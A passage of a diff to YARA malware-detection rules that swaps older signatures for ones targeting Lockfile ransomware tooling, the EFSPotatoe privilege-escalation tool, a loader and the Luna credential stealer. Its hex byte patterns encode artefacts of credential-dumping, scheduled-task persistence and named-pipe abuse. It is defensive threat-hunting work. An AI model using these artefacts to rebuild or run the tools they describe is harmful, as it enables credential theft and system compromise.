"c224ee5bef42a45e84e0d5a409d8b4c3842b2a7ac3fe5006ee795e64e0778e6e" + hash1 = "5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f" + hash2 = "0d18c704049700efd1353055b604072d94bcc3e5f4aa558adf8b8f8848330644" + hash3 = "2b7ffe47b3fabf81a76386ee953d281aeaa158f4926896fcc1425c3844e73597" + hash4 = "61423a95146d5fca47859e43d037944edb32f2004d86e14c7a522270bde6e2a8f" + adversary = "Lockfile" strings: - $dbg1 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 57 69 6e 4c 6f 67 6f 6e 20 6f 72 20 79 6f 75 20 61 72 65 20 75 73 69 6e 67 20 4e 57 47 49 4e 41 2e 44 4c 4c 2e 0a } - $dbg2 = { 54 68 65 20 65 6e 63 6f 64 65 64 20 70 61 73 73 77 6f 72 64 20 69 73 20 66 6f 75 6e 64 20 61 74 20 30 78 25 38 2e 38 6c 78 20 61 6e 64 20 68 61 73 20 61 20 6c 65 6e 67 74 68 20 6f 66 20 25 64 2e 0a } - $dbg3 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 74 68 65 20 70 61 73 73 77 6f 72 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 0a } - $dbg4 = { 20 55 73 61 67 65 3a 20 25 73 20 44 6f 6d 61 69 6e 4e 61 6d 65 20 55 73 65 72 4e 61 6d 65 20 50 49 44 2d 6f 66 2d 57 69 6e 4c 6f 67 6f 6e 0a 0a } - $dbg5 = { 54 68 65 20 6c 6f 67 6f 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 3a 20 25 53 2f 25 53 2f 25 53 2e 0a } - $dbg6 = { 54 68 65 20 57 69 6e 4c 6f 67 6f 6e 20 70 72 6f 63 65 73 73 20 69 64 20 69 73 20 25 64 20 28 30 78 25 38 2e 38 6c 78 29 2e 0a } - $dbg7 = { 59 6f 75 20 6c 6f 67 67 65 64 20 6f 6e 20 61 74 20 25 64 2f 25 64 2f 25 64 20 25 64 3a 25 64 3a 25 64 0a } - $dbg8 = { 54 68 65 20 68 61 73 68 20 62 79 74 65 20 69 73 3a 20 30 78 25 32 2e 32 78 2e 0a } - $dbg9 = { 53 55 56 57 68 14 ?? 40 00 e8 17 0c 00 00 8b 6c 24 1c [1-4] 45 00 50 68 e0 ?? 40 00 e8 ?? ?? 00 00 83 c4 ?? e8 ?? 02 00 00 85 c0 75 1d e8 ?? 02 00 00 85 c0 75 14 68 b4 ?? 40 00 e8 ?? 0b 00 00 83 c4 04 33 c0 5f 5e 5d 5b } + $s1 = "\\BaseNamedObjects\\{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword wide + $s2 = "\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%ws" fullword wide + $s3 = "\\DosDevices\\%wS" fullword wide + $s4 = "%temp%\\" fullword wide + $s5 = { 5b 2b 5d 20 50 72 6f 63 65 73 73 20 6f 62 6a 65 63 74 20 28 45 50 52 4f 43 45 53 53 29 20 66 6f 75 6e 64 2c 20 30 78 25 6c 6c 58 0d 0a 00 00 00 5b 2b 5d 20 45 50 52 4f 43 45 53 53 2d 3e 50 53 5f 50 52 4f 54 45 43 54 49 4f 4e 2c 20 30 78 25 6c 6c 58 } + $s6 = { 48 8b 4e 20 41 b9 00 08 00 00 4d 8b c7 49 8b d5 41 ff 54 24 70 85 c0 75 09 48 8d 15 [2] 02 00 eb 49 48 8d 0d [2] 02 00 e8 b9 ef ff ff 48 8d 0d [2] 02 00 e8 ad ef ff ff 4c 8d 85 f0 02 00 00 ba 00 00 00 c0 48 8d 0d [2] 02 00 e8 [2] 00 00 ba d0 07 00 00 49 8b ce ff 15 [2] 01 00 85 c0 74 15 48 8d 15 [2] 02 00 b9 01 00 00 00 e8 [2] 00 00 33 db eb 0b 48 8b d7 48 8b ce e8 4b f3 ff ff 49 8b ce ff 15 } condition: - uint16( 0 ) == 0x4d5a and filesize > 50KB and 6 of them + uint16( 0 ) == 0x5a4d and filesize > 10KB and all of ( $s* ) } -rule ARKBIRD_SOLG_RAN_ELF_Hellokitty_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_2 : FILE { meta: - description = "Detect HelloKitty ransomware" + description = "Detect EFSPotatoe tool (Generic rule)" author = "Arkbird_SOLG" - id = "3e83f07a-0ee7-5381-9aba-2606c01b9d91" - date = "2021-08-14" - modified = "2021-08-14" + id = "f40673da-7b16-5657-ba9a-f3f13034ad12" + date = "2021-08-27" + modified = "2021-08-29" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-14/HelloKitty/RAN_ELF_HelloKitty_Aug_2021_1.yara#L1-L17" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_2.yara#L1-L20" license_url = "N/A" - logic_hash = "99816756ea0a680eb25da192c9f069082f6479befe4e50188ad8f90b323d1f2d" + logic_hash = "eedad68d3192908fea2109c7fa51a2e38e31ed666424307318ac2123b95d1cd3" score = 75 quality = 75 tags = "FILE" - hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041" - hash2 = "b4f90cff1e3900a3906c3b74f307498760462d719c31d008fc01937f5400fb85" - tlp = "White" - adversary = "RAAS" + hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050" + hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818" + hash3 = "47b85abee8a07e79ad95f48a3e3addf7235144b67b0350e2f9ac80e66f97e583" + hash4 = "7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd" + adversary = "-" strings: - $seq1 = { 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 14 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 3d ?? 14 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 12 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 05 [2] 21 00 b9 ?? 0c 41 00 ba 80 00 00 00 be 01 00 00 00 4c 89 e7 48 8b 04 18 44 8b 00 31 c0 e8 ?? e5 ff ff 4c 89 e7 e8 cd 10 00 00 48 85 c0 49 89 c7 0f 84 9b 00 00 00 48 83 3d ?? 13 21 00 00 74 60 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 ?? e3 ff ff 48 8b 05 ?? 12 21 00 48 8b 3d ?? 13 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff 48 8b 3d ?? 13 21 00 e8 ?? e6 ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 12 21 00 48 8b 3d [2] 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff } - $seq2 = { 31 c0 b9 40 00 00 00 48 89 ef f3 ab be ?? 0d 41 00 48 89 df e8 [2] ff ff 48 85 c0 49 89 c5 0f 84 4c 01 00 00 48 89 c2 48 89 de 48 89 ef 48 29 da e8 71 07 00 00 be 3a 00 00 00 48 89 ef e8 [2] ff ff 48 8d 78 01 e8 [2] ff ff 85 c0 41 89 c7 0f 84 04 01 00 00 bf 10 00 00 00 e8 ?? dd ff ff 4c 89 ef 44 89 38 49 89 c6 48 89 04 24 e8 3d f5 ff ff 48 83 3d ?? 0e 21 00 00 49 89 46 08 74 6f 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d ?? 0d 21 00 ba ?? 0d 41 00 48 2b 0d ?? 0d 21 00 48 8b 3d ?? 0e 21 00 be 01 00 00 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 ?? dc ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d [2] 21 00 be 01 00 00 00 48 2b 0d [2] 21 00 48 8b 3d ?? 0c 21 00 ba ?? 0d 41 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 [2] ff ff 48 8b 35 [2] 21 00 48 3b 35 [2] 21 00 74 16 48 85 f6 74 07 48 8b 04 24 48 89 06 48 83 05 [2] 21 00 08 eb 0d 48 89 e2 bf e0 49 61 00 e8 af 02 00 00 48 8d 7b 01 be ?? 0d 41 00 e8 ?? dd ff ff 48 89 c3 e9 86 fe ff ff 4d 85 e4 74 08 4c 89 e7 e8 [2] ff ff 48 83 3d ?? 0d 21 00 00 74 61 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d ?? 0c 21 00 ba ?? 0d 41 00 48 8b 3d ?? 0d 21 00 be 01 00 00 00 31 c0 48 c1 f9 03 e8 ?? db ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d [2] 21 00 31 c0 48 8b 3d ?? 0b 21 00 ba ?? 0d 41 00 be 01 00 00 00 48 c1 f9 03 e8 [2] ff ff 48 8b 84 24 18 01 00 00 64 48 33 04 25 28 00 00 } - $seq3 = { 48 8d b4 24 90 00 00 00 bf d0 4a 61 00 48 c7 84 24 98 00 00 00 00 00 00 00 48 c7 84 24 90 00 00 00 01 00 00 00 e8 [2] ff ff e8 ?? 22 00 00 89 44 24 08 8b 05 [2] 21 00 89 d9 44 8b 0d [2] 21 00 44 8b 05 [2] 21 00 ba ?? 0e 41 00 48 8b 3d [2] 21 00 be 01 00 00 00 89 04 24 31 c0 e8 ?? f8 ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 31 f6 ba 0a 00 00 00 bf 40 4a 61 00 e8 ?? fa ff ff ba 0a 00 00 00 31 f6 bf 20 4a 61 00 e8 ?? fa ff ff be 01 00 00 00 bf 11 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 14 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 16 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 15 00 00 00 e8 [2] ff ff 83 3d ?? 28 21 00 00 } + $s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 } + $s2 = "ncacn_np" fullword wide + $s3 = { 5c 00 5c 00 25 00 73 00 5c 00 [1-20] 00 5c 00 [1-20] 00 } + $s4 = { 63 00 36 00 38 00 31 00 64 00 34 00 38 00 38 00 2d 00 64 00 38 00 35 00 30 00 2d 00 31 00 31 00 64 00 30 00 2d 00 38 00 63 00 35 00 32 00 2d 00 30 00 30 00 63 00 30 00 34 00 66 00 64 00 39 00 30 00 66 00 37 00 65 } + $s5 = { 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 } condition: - uint32( 0 ) == 0x464C457F and filesize > 20KB and all of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 10KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_Mal_Plugx_Thor_July_2021_1 : FILE +rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_1 : FILE { meta: - description = "Detect Thor variant of PlugX (Variant 1)" + description = "Detect custom .NET variant EFSPotatoe tool" author = "Arkbird_SOLG" - id = "5447e5df-0326-5987-905b-bfc49acee05a" - date = "2021-07-27" - modified = "2021-07-28" - reference = "https://unit42.paloaltonetworks.com/thor-plugx-variant/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-27/PlugX/Mal_PlugX_Thor_July_2021_1.yara#L1-L20" + id = "614a6543-89ce-5f75-9933-766fd1e5458b" + date = "2021-08-27" + modified = "2021-08-29" + reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "f94e6cf8a1169526a438dfbf4d6b40f4ce0f6af6eee2e893fb138b81c4172c73" + logic_hash = "a9fed543aeaba380688ec59034b0e8c90fc0bea986085958966101bd44cf480f" score = 75 quality = 75 tags = "FILE" - hash1 = "125fdf108dc1ad6f572cbdde74b0c7fa938a9adce0cc80cb5ce00f1c030b0c93" - hash2 = "690c488a9902978f2ef05aa23d21f4fa30a52dd9d11191f9b49667cd08618d87" - hash3 = "3c5e2a4afe58634f45c48f4e800dc56bae3907dde308ff97740e9cd5684d1c53" - hash4 = "a9cbce007a7467ba1394eed32b9c1774ad09a9a9fb74eb2ccc584749273fac01" - tlp = "white" - adversary = "Chinese APT group" + hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050" + hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818" + adversary = "Lockfile" strings: - $s1 = { 55 8b ec 81 ec ?? 01 00 00 a1 00 [2] 10 33 c5 89 45 [2-10] 85 ?? fe ff ff [0-1] c6 85 ?? fe ff ff 5c c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff } - $s2 = { 8b ?? ?? fe ff ff c6 ?? 00 [3-5] fe ff ff [4-10] fe ff ff } - $s3 = { fe ff ff 6a 40 68 00 10 00 00 8b 95 ?? fe ff ff 52 6a 00 ff 95 ?? fe ff ff 89 85 ?? fe ff ff } + $s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 } + $s2 = "ncacn_np" fullword wide + $s3 = "WinSta0\\Default" fullword wide + $s4 = { 11 00 72 cc 01 00 70 28 06 00 00 0a 00 dd de 02 00 00 00 de 12 07 14 fe 01 13 0f 11 0f 2d 07 07 6f 0f 00 00 0a 00 dc 00 28 10 00 00 0a 13 10 12 10 72 16 02 00 70 28 11 00 00 0a 0d 72 1a 02 00 70 09 72 2e 02 00 70 28 12 00 00 0a 13 04 11 04 19 16 1f 0a 20 00 08 00 00 20 00 08 00 00 16 7e 0d 00 00 0a 28 06 00 00 06 13 05 11 05 15 73 13 00 00 0a 28 14 00 00 0a 16 fe 01 13 0f 11 0f 2d 25 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 16 73 17 00 00 0a 13 06 14 fe 06 04 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 07 11 07 17 6f 1a 00 00 0a 00 11 07 18 8d 01 00 00 01 13 11 11 11 16 11 05 8c 15 00 00 01 a2 11 11 17 11 06 a2 11 11 6f 1b 00 00 0a 00 14 fe 06 03 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 08 11 08 17 6f 1a 00 00 0a 00 11 08 09 6f 1b 00 00 0a 00 11 06 20 e8 03 00 00 6f 1c 00 00 0a 16 fe 01 13 0f 11 0f 3a 93 01 00 00 00 11 05 28 08 00 00 06 16 fe 01 13 0f 11 0f 3a 7c 01 00 00 00 28 08 00 00 0a 6f 0b 00 00 0a 13 09 72 7c 02 00 70 11 09 8c 15 00 00 01 28 1d 00 00 0a 28 06 00 00 0a 00 12 0a fe 15 08 00 00 02 12 0a 11 0a 28 02 00 00 2b 7d 1d 00 00 04 12 0a 7e 0d 00 00 0a 7d 1e 00 00 04 12 0a 17 7d 1f 00 00 04 12 0b 12 0c 12 0a 20 00 04 00 00 28 0b 00 00 06 26 12 0d fe 15 06 00 00 02 12 0e fe 15 07 00 00 02 12 0e 11 0e 28 03 00 00 2b 7d 0b 00 00 04 12 0e 11 0c 7d 1c 00 00 04 12 0e 11 0c 7d 1b 00 00 04 12 0e 72 9c 02 00 70 7d 0d 00 00 04 12 0e 20 01 01 00 00 7d 16 00 00 04 12 0e 16 7d 17 00 00 04 } + $s5 = "EfsPotato <cmd>" wide + $s6 = "\\\\.\\pipe\\" wide condition: - uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 10KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Babyelephant_Installer_Feb_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Loader_Lockfile_Aug_2021_1 : FILE { meta: - description = "Detect Installer from BabyElephant APT" + description = "Detect loader used by lockerfile group" author = "Arkbird_SOLG" - id = "c89a127d-af49-597e-927d-c9a10c90fabe" - date = "2021-02-23" - modified = "2021-02-23" - reference = "https://twitter.com/h2jazi/status/1363683531067715584" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-23/BabyElephant/APT_BabyElephant_Installer_Feb_2021_1.yar#L1-L21" + id = "031335f3-e6c7-5e94-af23-c7fb254203b7" + date = "2021-08-28" + modified = "2021-08-29" + reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_loader_Lockfile_Aug_2021_1.yara#L1-L16" license_url = "N/A" - logic_hash = "7c4f2cd7e56426e42141b1f2f3a13e1daa01b1de1fe88f4bd135601234407ec9" - score = 50 - quality = 73 + logic_hash = "622a673d5cb9832cf0abc9942bf0e1f64bcdbd99524dea0bd64698fffa815a9b" + score = 75 + quality = 75 tags = "FILE" - level = "experimental" - hash1 = "d55ff954abb04ec29745f7d80ea7457a862c8025a21e889f1ba44c32ba486a7e" + hash1 = "ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291" + adversary = "Lockfile" strings: - $s1 = { 65 63 68 6f 20 25 64 20 3e 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c } - $s2 = "COMSPEC" fullword ascii - $s3 = { 53 43 48 54 41 53 4b 53 20 2f 43 52 45 41 54 45 20 2f 53 43 20 4d 49 4e 55 54 45 20 2f 4d 4f 20 [1-3] 20 2f 54 4e 20 22 [1-12] 22 20 2f 54 52 20 22 [4-24] 22 20 2f 66 } - $s4 = "%s//%s" fullword ascii - $s5 = { 53 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 54 4e 20 22 [1-12] 22 20 2f 66 } - $s6 = { 83 c4 10 8b d8 e8 13 02 00 00 83 fb ff 74 06 89 38 8b f3 eb 34 83 38 02 74 0f e8 fe 01 00 00 83 38 0d 74 05 83 ce ff eb 20 e8 ef 01 00 00 89 38 56 8d 45 ec b9 c4 3e 42 00 50 51 56 89 4d ec } - $s7 = { 68 00 08 00 00 8d 85 48 f6 ff ff 6a 00 50 e8 00 33 00 00 83 c4 0c 8d 85 48 f6 ff ff 6a 00 68 00 08 00 00 50 53 ff d6 85 c0 0f 8e 1f 03 00 00 0f 1f 40 00 6a 08 68 e0 b3 42 00 8d 8d 28 ec ff ff c7 85 38 ec ff ff 00 00 00 00 c7 85 3c ec ff ff 0f 00 00 00 c6 85 28 ec ff ff 00 e8 a3 09 00 00 8d 95 28 ec ff ff c7 45 fc 00 00 00 00 8d 8d 10 ec ff ff e8 2b 05 00 00 83 } + $s1 = "c:\\windows\\system32\\calc.exe" fullword ascii + $s2 = { 49 48 85 c0 7f ec eb 0a 33 c9 66 89 0c 45 [2] 01 10 68 [2] 00 10 68 [2] 01 10 ff 15 [2] 00 10 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 68 00 00 00 80 68 [2] 01 10 ff 15 [2] 00 10 83 f8 ff 75 08 6a 00 ff 15 [2] 00 10 50 ff 15 [2] 00 10 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc } + $s3 = "/proc/123/stat" fullword ascii + $s4 = { 33 c5 89 45 fc a1 [2] 00 10 8b 15 [2] 00 10 8b 0d [2] 00 10 56 89 45 dc 66 a1 [2] 00 10 57 89 55 e4 89 4d e0 8a 0d [2] 00 10 66 89 45 e8 33 c0 8d 55 dc 68 [2] 00 10 52 bf [2] 00 10 88 4d ea 89 45 eb 89 45 ef 89 45 f3 89 45 f7 88 45 fb e8 [2] 00 00 8b f0 83 c4 08 85 f6 74 44 8d 64 24 00 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 29 83 f8 28 75 ed 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 16 0f be 0f 3b c1 75 0f 56 47 e8 [2] 00 00 83 c4 04 83 f8 ff 75 ea 56 e8 [2] 00 00 83 c4 04 6a 00 ff 15 } condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and all of them + uint16( 0 ) == 0x5a4d and filesize > 10KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Chisel_Hafnium_Feb_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Luna_Stealer_Apr_2021_1 : FILE { meta: - description = "Rule for detecting Chisel kit tool used by Hafnium" + description = "Detect Luna stealer (also Mercurial Grabber)" author = "Arkbird_SOLG" - id = "cd6be3b4-71fd-5e17-8835-a331a24fc5d6" - date = "2021-02-23" - modified = "2021-04-25" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-23/Hafinum/APT_Chisel_Hafnium_Feb_2021_1.yara#L1-L28" + id = "2fecce99-5869-5de0-afae-6dc245748fa6" + date = "2021-08-29" + modified = "2021-08-30" + reference = "https://github.com/NightfallGT/Mercurial-Grabber" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Luna/MAL_Luna_Stealer_Apr_2021_1.yara#L1-L22" license_url = "N/A" - hash = "4afa5fde76f1f3030cf7dbd12e37b717e1f902ac95c8bdf54a2e58a64faade04" - logic_hash = "8e56234ce59197a8df51b21b89d3a901785dbb0211ab576cb3d194de34b611de" + logic_hash = "934ded815c262fa8bee38638e17ed8c2b1f0dcad28037bf1d525e11bf7e34dce" score = 75 - quality = 57 + quality = 75 tags = "FILE" - adversary = "Hafnium" - tlp = "white" + hash1 = "a14918133b9b818fa2e8728faa075c4f173fa69abc424f39621d6aa1405f5a18" + hash2 = "93563f68975a858ff07f7eb91f4e0c997f0212d58b1755704d89fecd442d448f" + hash3 = "0521bb85472869598d9aa822b11edc04044dbe876dbf9900565bfdc8e02c2b21" + hash4 = "ce35eb5ba2f3f36b3d2742b33d3dbbe95f5ec6b93942ba20be4693528b163e3a" + tlp = "White" + adversary = "-" strings: - $str1 = { 48 61 6e 64 73 68 61 6b 69 6e 67 20 77 69 74 68 20 25 73 2e 2e 2e } - $str2 = { 4c 65 74 73 45 6e 63 72 79 70 74 20 63 61 63 68 65 20 64 69 72 65 63 74 6f 72 79 20 25 73 } - $str3 = { 65 6e 63 6f 64 65 20 65 72 72 6f 72 3a 20 25 77 } - $str4 = { 28 65 72 72 6f 72 20 25 73 29 } - $str5 = { 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 63 6c 69 65 6e 74 20 63 65 72 74 20 61 6e 64 20 6b 65 79 20 70 61 69 72 3a 20 25 76 } - $str6 = { 4c 69 73 74 65 6e 69 6e 67 20 6f 6e 20 25 73 3a 2f 2f 25 73 3a 25 73 25 73 } - $str7 = { 46 61 69 6c 65 64 20 74 6f 20 64 65 63 6f 64 65 20 50 45 4d 3a 20 25 73} - $str8 = { 43 6c 6f 73 65 64 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 28 25 73 29 } - $str9 = { 70 72 6f 78 79 23 25 73 } - $seq1 = { 48 89 05 5a 96 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 3c 67 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 05 fd ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d d7 b4 40 00 48 89 15 d8 b4 40 00 83 3d 41 0d 45 00 00 90 0f 85 b5 0b 00 00 48 89 05 b3 b4 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 50 eb 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d d2 0c 45 00 00 0f 85 36 0b 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 e3 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da b2 40 00 48 89 15 db b2 40 00 83 3d 64 0c 45 00 00 0f 1f 40 00 0f 85 b0 0a 00 00 48 89 05 b3 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ee 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d f2 0b 45 00 00 0f 85 31 0a 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 04 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b3 40 00 48 89 15 5b b3 40 00 83 3d 84 0b 45 00 00 0f 1f 40 00 0f 85 aa 09 00 00 48 89 05 33 b3 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 0f 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 12 0b 45 00 00 0f 85 2b 09 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 25 e9 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b2 40 00 48 89 15 5b b2 40 00 83 3d a4 0a 45 00 00 0f 1f 40 00 0f 85 a8 08 00 00 48 89 05 33 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b4 e8 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 08 b1 40 00 48 89 15 09 b1 40 00 83 3d 32 0a 45 00 00 0f 85 29 08 00 00 48 89 05 e5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 21 64 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 88 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a af 40 00 48 89 15 5b af 40 00 83 3d c4 09 45 00 00 0f 1f 40 00 0f 85 a6 07 00 00 48 89 05 33 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 16 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 52 09 45 